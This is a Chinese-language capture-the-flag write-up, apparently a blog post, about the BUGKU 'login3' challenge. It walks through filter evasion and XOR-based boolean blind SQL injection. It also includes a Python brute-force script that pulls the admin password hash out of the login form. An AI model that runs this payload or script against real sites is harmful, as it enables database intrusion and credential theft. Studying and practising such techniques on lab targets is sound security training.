先看的wp,呢么来复现一遍,emmmmmm,尝试一波,用户名输入admin后,密码随便输,发现提示password error,呢么填其他用户名的话,发现提示username does not exist!,然后就开始尝试了,尝试了and,union,空格,这些都被过滤了,对了,=也过滤了,可以用<>不等号来代替。空格过滤了话,可以用()或者/**/代替,但是貌似*被过滤了,那就用()来代替,并且可以用爆破的方式。emm,看了wp,用的异或注入。

 BUGKU login3 随笔

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

 

简单的举个例子,1^0=1,0^0=0,1^1=0,只有两个不同的时候才是1。

废话不多说,先说这个核心的思想把。主要爆破的是密码,核心的语句admin’^(ascii(mid(password()from(1)))<>97)^0#

因为我们猜测SQL查询语句是,select password,username from admin where username=”我们输入的用户名”

呢么如果password的第一位ascii不是97的话,呢么语句就是admin’^1^0#,呢么提示的就是username does not exist!,因为是1^1^0,结果为0,所以查询不存在

呢么相反的话,是97的话,呢么就是1^0^0,结果为1,呢么就是查询的admin存在,并且会提示,password error。通过这两个不同,可以用脚本爆破出来.

import requests str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" url="http://123.206.31.85:49167/index.php" r=requests.session() def password(): resutlt=""
    for i in range(40): fla=0 for j in str_all: playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j)) data = { "username": playlod, "password": "123" } s=r.post(url,data) print(playlod) if "error" in s.text: resutlt+=j fla=1
                print('**************************',resutlt) break
        if fla==0: break password()

爆破出的passwrod是32位md5,解密下就得出了明文密码,然后登陆。得到flag。属于bool报错型的注入。加油,努力,成就自己

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄